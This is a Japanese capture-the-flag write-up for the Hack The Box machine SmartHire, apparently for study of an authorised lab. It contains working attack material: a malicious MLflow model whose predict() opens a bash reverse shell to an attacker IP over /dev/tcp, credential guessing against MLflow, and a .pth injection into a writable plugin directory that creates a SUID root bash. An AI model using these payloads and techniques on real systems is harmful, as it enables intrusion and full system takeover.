コンテンツにスキップ

HTB SmartHire writeup

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

SmartHire は求人候補者の CSV をアップロードして機械学習モデルを学習、予測する Web アプリだった。HTTP は smarthire.htb に redirect し、virtual host enumeration で models.smarthire.htb が見つかる。この vhost は MLflow で Basic authentication が有効だが、admin:password が利用できた。

Web アプリ側で登録したユーザーの company と user_id から hana-95581724a925-model という MLflow registered model 名が分かる。MLflow API で同名モデルの version を作成でき、/predict が最新モデルをロードするため、mlflow.pyfunc.PythonModel の predict() に reverse shell を仕込んだモデルを登録して svcweb として shell を得た。

権限昇格では、svcweb が root として /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py * を sudo 実行できた。スクリプトは site.addsitedir() で plugin directory を import path に追加しており、/opt/tools/mlflow_ctl/plugins/dev が devs group writable だったため、.pth ファイルを置いて root 権限の Python 起動時に任意コードを実行できた。

ItemValue
BoxSmartHire
PlatformHack The Box
OSLinux
DifficultyMedium
HTTP :80
|
| nmap: nginx redirects to smarthire.htb
v
smarthire.htb
|
| ffuf Host header fuzzing
v
models.smarthire.htb -> MLflow Basic auth realm
|
| admin:password accepted
v
MLflow API access
|
| create malicious model version for hana-95581724a925-model
v
smarthire.htb /predict loads latest model
|
| EvilModel.predict() executes reverse shell
v
svcweb shell
|
| sudo -l: NOPASSWD python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
v
root runs mlflowctl.py
|
| site.addsitedir() processes writable plugins/dev/dev.pth
v
/tmp/rootbash with SUID root
|
v
root effective shell and root.txt

対象 IP を /etc/hosts に設定する。

10.129.245.215 smarthire.htb models.smarthire.htb

smarthire.nmap には実行コマンド行が残っていなかった。出力内容から、全 TCP port と service / OS detection を含む scan として扱う。同等の再現例は次の形になる。

ターミナルウィンドウ
nmap -p- -sV -O --traceroute -oN smarthire.nmap 10.129.245.215

重要な出力:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
Running: Linux 4.X|5.X
OS details: Linux 4.15 - 5.19

見るべき点:

  • 入口は 22/tcp と 80/tcp のみ。
  • HTTP title が http://smarthire.htb/ への redirect を示しているため、Host header / vhost 前提で見る。
  • OS と service banner は Ubuntu 系。後続 shell では Ubuntu 22.04.5 LTS と確認できた。
  • SSH は公開されているが、初期段階では credential がないため Web 側を優先する。

ffuf で Host header を fuzz すると、models subdomain が 401 を返した。

ターミナルウィンドウ
ffuf -u http://smarthire.htb \
-H "Host: FUZZ.smarthire.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-ac
models [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 198ms]

models.smarthire.htb へ直接アクセスすると MLflow の Basic authentication が出た。

ターミナルウィンドウ
curl -I http://models.smarthire.htb
HTTP/1.1 401 UNAUTHORIZED
WWW-Authenticate: Basic realm="mlflow"
You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate.

この時点で、メインアプリとは別に MLflow が存在し、モデル学習機能と関係する可能性が高い。

feroxbuster では /login、/register、/dashboard、/logout が確認できた。/dashboard は未認証だと /login に redirect される。

ターミナルウィンドウ
feroxbuster -u http://smarthire.htb \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-d 1
200 GET 127l 406w 6160c http://smarthire.htb/login
200 GET 131l 434w 6499c http://smarthire.htb/register
200 GET 215l 875w 11255c http://smarthire.htb/
302 GET 5l 22w 199c http://smarthire.htb/logout => http://smarthire.htb/login
302 GET 5l 22w 199c http://smarthire.htb/dashboard => http://smarthire.htb/login

HTML の保存ファイルから、dashboard は次の endpoint を呼んでいた。

  • GET /model_info
  • POST /upload_hiring_data
  • POST /predict

smarthire.dashboard.html の CSV guide では、学習用 CSV に name、skills、experience、education、position_applied、previous_company が示されている。smarthire.predict.html では予測用 CSV に experience と skills が必要とされていた。

Web UI で hana として登録、ログインした session を使うと、/model_info が MLflow model 名を返した。

ターミナルウィンドウ
curl -i -b "session=<SESSION>" http://smarthire.htb/model_info
HTTP/1.1 200 OK
{"model_info":null,"model_name":"hana-95581724a925-model","status":"success"}

最小 CSV を upload すると、MLflow model version が作成された。

ターミナルウィンドウ
cat > train.csv <<'EOF'
a,b,c,d
1,2,3,4
EOF
curl -i -b "session=<SESSION>" \
-F 'file=@train.csv;type=text/csv' \
http://smarthire.htb/upload_hiring_data
HTTP/1.1 200 OK
{"message":"Model trained and registered successfully","model_deleted":false,"model_info":{"creation_timestamp":1781969808832,"description":"No description","version":"1"},"registered_model":"hana-95581724a925-model","status":"success"}

experience に文字列を入れると numeric conversion error が返った。裏側で pandas / scikit-learn 風の処理をしていることが分かる。

ターミナルウィンドウ
printf 'experience,skills\nAAAA,"Python"\n' > /tmp/bad.csv
curl -i -b "session=<SESSION>" \
-F 'file=@/tmp/bad.csv;type=text/csv' \
http://smarthire.htb/upload_hiring_data
HTTP/1.1 500 INTERNAL SERVER ERROR
{"message":"Could not convert string 'AAAA' to numeric","status":"error"}

保存された session cookie は flask-unsign --decode で読み取れた。

ターミナルウィンドウ
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'
{'company': 'hana', 'user_id': '95581724a925', 'username': 'hana'}

company と user_id が hana-95581724a925-model という registered model 名に反映されていた。secret key の brute force は成功していないため、ここでは cookie の改ざんではなく、アプリが正規に作成した自分のモデル名を手がかりに進める。

MLflow の Basic auth は、少数の候補で admin:password が有効と分かった。

ターミナルウィンドウ
for pair in \
'admin:password' \
'mlflow:mlflow' \
'hana:hana' \
'hana:95581724a925'
do
echo "$pair"
curl -s -o /dev/null -w '%{http_code}\n' \
-u "$pair" \
http://models.smarthire.htb/api/2.0/mlflow/experiments/search
done
admin:password
400
mlflow:mlflow
401
hana:hana
401
hana:95581724a925
401

401 は認証失敗だが、admin:password だけは 400 になっている。これは認証は通ったが、request method や body が API 仕様に合っていない状態と判断できる。以降の MLflow API はこの credential で操作できた。

ターミナルウィンドウ
ML='http://models.smarthire.htb'
AUTH='admin:password'
curl -s -u "$AUTH" \
-H 'Content-Type: application/json' \
-d '{"max_results":1000}' \
"$ML/api/2.0/mlflow/experiments/search" | jq .
{
"experiments": [
{
"experiment_id": "0",
"name": "Default",
"artifact_location": "mlflow-artifacts:/0",
"lifecycle_stage": "active"
}
]
}

Web アプリが返した model 名を MLflow で検索すると、最新 version と artifact source が見えた。

ターミナルウィンドウ
curl -s -u "$AUTH" \
"$ML/api/2.0/mlflow/registered-models/search?max_results=1000" | jq .
{
"registered_models": [
{
"name": "hana-95581724a925-model",
"latest_versions": [
{
"version": "3",
"source": "mlflow-artifacts:/0/3cef32ba4c474df78e6ec176a3a9a4e0/artifacts/model",
"run_id": "3cef32ba4c474df78e6ec176a3a9a4e0",
"status": "READY"
}
]
}
]
}

artifact の MLmodel から、target 側の model flavor は python_function、Python は 3.10.12、MLflow は 2.14.1、cloudpickle は 3.1.1 と分かった。

ターミナルウィンドウ
curl -s -u "$AUTH" -G \
"$ML/model-versions/get-artifact" \
--data-urlencode "name=$MODEL" \
--data-urlencode "version=3" \
--data-urlencode "path=MLmodel"
flavors:
python_function:
cloudpickle_version: 3.1.1
loader_module: mlflow.pyfunc.model
python_model: python_model.pkl
python_version: 3.10.12
mlflow_version: 2.14.1
run_id: 3cef32ba4c474df78e6ec176a3a9a4e0

ここで重要なのは、/predict が registered model の最新 version を読み込むことと、MLflow API から同じ model name に新しい version を作れることだった。実際に description:"probe" の version 4 を作ると、/model_info が version 4 を返した。

ターミナルウィンドウ
curl -s -u "$AUTH" \
-H 'Content-Type: application/json' \
-d "{
\"name\":\"$MODEL\",
\"source\":\"mlflow-artifacts:/0/$RUN/artifacts/model\",
\"run_id\":\"$RUN\",
\"description\":\"probe\"
}" \
"$ML/api/2.0/mlflow/model-versions/create" | jq .
{
"model_version": {
"name": "hana-95581724a925-model",
"version": "4",
"description": "probe",
"status": "READY"
}
}
ターミナルウィンドウ
curl -i -b "session=<SESSION>" http://smarthire.htb/model_info
{"model_info":{"creation_timestamp":1781971532398,"description":"probe","version":"4"},"model_name":"hana-95581724a925-model","status":"success"}

この段階で必要な条件は次の通り。

  • Web アプリにログイン済みで、自分の model name が分かっている。
  • MLflow API に admin:password でアクセスできる。
  • /predict が最新 model version を load することを確認済み。
  • target の model 実行環境が Python 3.10 / MLflow 2.14.1 / cloudpickle 3.1.1 と分かっている。

mlflow.pyfunc.PythonModel の predict() に reverse shell を仕込んだ model を作り、同じ registered model name に新 version として登録した。

evil_model.py
import os
import mlflow
import mlflow.pyfunc
from mlflow.tracking import MlflowClient
ML = "http://models.smarthire.htb"
MODEL = "hana-95581724a925-model"
class EvilModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input, params=None):
os.system("bash -c 'bash -i >& /dev/tcp/10.10.16.45/4444 0>&1'")
return [99]
mlflow.set_tracking_uri(ML)
mlflow.set_experiment("Default")
client = MlflowClient()
with mlflow.start_run() as run:
run_id = run.info.run_id
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=EvilModel(),
)
source = f"mlflow-artifacts:/0/{run_id}/artifacts/model"
print("run_id:", run_id)
print("source:", source)
mv = client.create_model_version(
name=MODEL,
source=source,
run_id=run_id,
description="evil"
)
print("version:", mv.version)

実行時は MLflow Basic auth を環境変数で渡した。

ターミナルウィンドウ
export MLFLOW_TRACKING_USERNAME=admin
export MLFLOW_TRACKING_PASSWORD=password
python3 evil_model.py

最初は Python 3.12 側で作った model を target が読み込めず、/predict が次の error を返した。

{"message":"code expected at most 16 arguments, got 18","status":"error"}

artifact 側で target が Python 3.10.12 だと分かっていたため、local も Python 3.10 と MLflow 2.14.1 / cloudpickle 3.1.1 に合わせて作り直した。

ターミナルウィンドウ
pip install 'mlflow==2.14.1' 'cloudpickle==3.1.1' pandas
python -c 'import mlflow, cloudpickle; print(mlflow.__version__, cloudpickle.__version__)'
2.14.1 3.1.1

作り直した model は version 6 として登録され、通常の prediction として実行された。

run_id: fd4fa9dab6c54d49ae885597d2700a3b
source: mlflow-artifacts:/0/fd4fa9dab6c54d49ae885597d2700a3b/artifacts/model
version: 6

listener を起動してから、Web アプリの /predict に予測用 CSV を送る。

msf > use exploit/multi/handler
msf exploit(multi/handler) > run -j lhost=10.10.16.45 lport=4444
ターミナルウィンドウ
printf 'experience,skills\n60,"Python, ML"\n' > predict.csv
curl -i -b "session=<SESSION>" \
-F 'file=@predict.csv;type=text/csv' \
http://smarthire.htb/predict

version 6 では predict() が動いたことを示す [99] が返った。

HTTP/1.1 200 OK
{"model_info":{"creation_timestamp":1781972540272,"description":"evil","version":"6"},"prediction":[99],"status":"success"}

reverse shell 用の IP を設定し直して version 7 を登録し、再度 /predict を叩いたところ、Web 側は 502 Bad Gateway になったが shell が返った。502 は gunicorn worker 側で reverse shell 実行により request が正常終了しなかった結果と見られる。

shell は svcweb として取得でき、/home/svcweb/user.txt を読めた。

ターミナルウィンドウ
ls /home/
ls /home/svcweb
cat /home/svcweb/user.txt
svcweb
user.txt
[REDACTED]

OS は Ubuntu 22.04.5 LTS だった。

ターミナルウィンドウ
cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
VERSION_CODENAME=jammy

sudo -l で svcweb が root として MLflow 管理スクリプトを password なしで実行できることが分かった。

ターミナルウィンドウ
sudo -l
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

local port も確認すると、Web app / MLflow らしき service が loopback で動いていた。

ターミナルウィンドウ
ss -ant
LISTEN 0 4096 127.0.0.1:5000 0.0.0.0:*
LISTEN 0 2048 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*

対象スクリプトは root 所有で直接書けないが、plugin directory を Python site directory として追加していた。

ターミナルウィンドウ
sed -n '1,260p' /opt/tools/mlflow_ctl/mlflowctl.py
from pathlib import Path
import sys
import site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
# make plugins importable
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path))
def main():
import mlflow_actions, backup_models
if len(sys.argv) < 2:
print_usage()
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
elif action == "backup-models":
print("[*] Running backup via backup_models plugin...")
backup_models.run()
elif action == "restart":
mlflow_actions.restart()

site.addsitedir() は directory を import path に入れるだけでなく、その directory 内の .pth ファイルを処理する。.pth に import ... で始まる行があると Python 起動時に実行されるため、root で sudo 実行されるこの script では privilege escalation の入口になる。

plugin directory の権限を見ると、plugins/dev が root:devs で group writable だった。

ターミナルウィンドウ
find /opt/tools/mlflow_ctl/plugins -maxdepth 4 -printf '%M %u %g %p\n'
drwxr-xr-x root root /opt/tools/mlflow_ctl/plugins
drwxr-xr-x root root /opt/tools/mlflow_ctl/plugins/core
-rw-r--r-- root root /opt/tools/mlflow_ctl/plugins/core/mlflow_actions.py
-rw-r--r-- root root /opt/tools/mlflow_ctl/plugins/core/backup_models.py
drwxrwxr-x root devs /opt/tools/mlflow_ctl/plugins/dev
ターミナルウィンドウ
find /opt/tools/mlflow_ctl -writable -ls
131178 4 drwxrwxr-x 2 root devs 4096 May 12 15:22 /opt/tools/mlflow_ctl/plugins/dev

後で得た id では svcweb は devs group に属していたため、この writable directory に .pth を置ける。

.pth に root-owned SUID bash を作る 1 行を置き、sudo で mlflowctl.py status を実行して .pth を処理させた。

ターミナルウィンドウ
printf '%s\n' "import os; os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')" > /opt/tools/mlflow_ctl/plugins/dev/dev.pth
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
[*] Checking MLflow service status...
[+] MLflow service status: active
[+] MLflow container status: 'Up About an hour'

/tmp/rootbash が root owner の SUID binary として作成された。

ターミナルウィンドウ
ls -l /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Jun 20 16:41 /tmp/rootbash

bash -p は effective UID を落とさずに起動するため、root effective shell として使える。

ターミナルウィンドウ
/tmp/rootbash -p
id
cat /root/root.txt
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)
[REDACTED]

ここで uid=1000(svcweb) は real UID、euid=0(root) は effective UID を表す。SUID bit 付きの root-owned binary を実行したため、実ユーザーは svcweb のままだが、権限チェックには root の effective UID が使われる。bash では -p を付けないと privilege を落とす挙動があるため、/tmp/rootbash -p が必要だった。

/tmp に nosuid が付いている環境ではこの方法は効かない。確認するなら次のように mount option を見る。

ターミナルウィンドウ
findmnt -no TARGET,OPTIONS /tmp

この box では /tmp/rootbash -p の euid=0(root) が確認できているため、少なくとも実行時の /tmp では SUID が有効だった。

  • flask-unsign --unsign は secret key を見つけられなかった。cookie の decode だけで company / user_id は分かったため、cookie 改ざんは不要だった。
  • -b "<cookie>" のように cookie 名 session= を付けずに送ると /login へ redirect された。curl では -b "session=<SESSION>" の形にする。
  • filename=../../x.csv や x.php.csv で upload を試したが、model version が増えるだけで file write / path traversal にはつながらなかった。
  • Python 3.12 で生成した MLflow model は target の Python 3.10 と合わず、code expected at most 16 arguments, got 18 で失敗した。target の MLmodel に合わせて Python / MLflow / cloudpickle を揃える必要があった。
  • Meterpreter upgrade は target platform を bsd と誤認して失敗したが、通常 shell で十分だった。
  • backup-models action は root で backup を作成できたが、今回の最短経路では backup の symlink や tar option を使う必要はなかった。より直接的な原因は writable plugin directory と .pth の組み合わせだった。

確認できた変更点と cleanup 対象:

  • MLflow registered model hana-95581724a925-model に追加した version:
    • version 4: description:"probe"
    • version 5, 6, 7: description:"evil" または reverse shell 検証用
  • local / uploaded tooling:
    • evil_model.py
    • train.csv
    • predict.csv
  • target 上の一時ファイル:
    • /opt/tools/mlflow_ctl/plugins/dev/dev.pth
    • /tmp/rootbash
    • /tmp/tmp* の MLflow 一時 directory

dev.pth は svcweb で削除できた。

ターミナルウィンドウ
rm /opt/tools/mlflow_ctl/plugins/dev/dev.pth

一方、/tmp/rootbash は root owner のため svcweb からは削除できなかった。

ターミナルウィンドウ
rm /tmp/rootbash
rm: cannot remove '/tmp/rootbash': Operation not permitted

削除するなら root effective shell から実行する。

ターミナルウィンドウ
/tmp/rootbash -p -c 'rm -f /tmp/rootbash'

HTB Machine を reset / stop する場合は、生成した一時状態は破棄される。

Credentials:

用途値根拠
Web userhanaFlask session decode
Web companyhanaFlask session decode
Web user_id95581724a925Flask session decode
MLflow Basic authadmin:password401 ではなく 400 を返し、後続 API が成功

Model / MLflow artifacts:

項目値
Registered modelhana-95581724a925-model
ExperimentDefault / experiment_id=0
Observed MLflow version2.14.1
Observed Python model runtimePython 3.10.12
Observed cloudpickle3.1.1

Flags:

FlagPathValue
user/home/svcweb/user.txt[REDACTED]
root/root/root.txt[REDACTED]

Important files on target:

Path意味
/var/www/smarthire.htbWeb app working directory
/opt/tools/mlflow_ctl/mlflowctl.pysudo 可能な root 実行 Python script
/opt/tools/mlflow_ctl/plugins/core/mlflow_actions.pystatus / restart plugin
/opt/tools/mlflow_ctl/plugins/core/backup_models.pyMLflow backup plugin
/opt/tools/mlflow_ctl/plugins/devroot:devs group writable plugin directory
/tmp/rootbash.pth で作成した root SUID bash

必要な知識:

  • Virtual host enumeration
  • Flask session cookie の読み取り
  • MLflow tracking / model registry API
  • Python pickle / mlflow.pyfunc model load 時のコード実行
  • Python site.addsitedir() と .pth ファイルの挙動
  • Linux sudo rule と SUID binary

この box で重要だったのは、Web アプリの表面だけで完結させず、モデル名、MLflow registry、prediction endpoint の関係をつなげて見ることだった。/model_info が返す model name と MLflow API で作れる model version が一致し、/predict が最新 version を使うと確認できた時点で、MLflow model load の危険性が initial access につながった。

権限昇格では、sudo 可能な script そのものに明白な command injection がなくても、Python の import path や site.addsitedir() の副作用まで見る必要があった。特に .pth は見落としやすいが、root で起動する Python が writable directory を site directory として処理する場合、実質的な任意コード実行になる。

覚えるポイント:

  • 401 と 400 の違いは認証成否の判断材料になる。
  • MLflow artifact の MLmodel は target runtime の Python / dependency version を確認する根拠になる。
  • Python pickle / cloudpickle 系は minor version 差で壊れるため、target runtime に合わせる。
  • sudo 可能な Python script では、引数だけでなく import path、plugin directory、.pth、environment reset の影響を見る。
  • SUID shell で euid=0 を保つには /bin/bash -p が必要。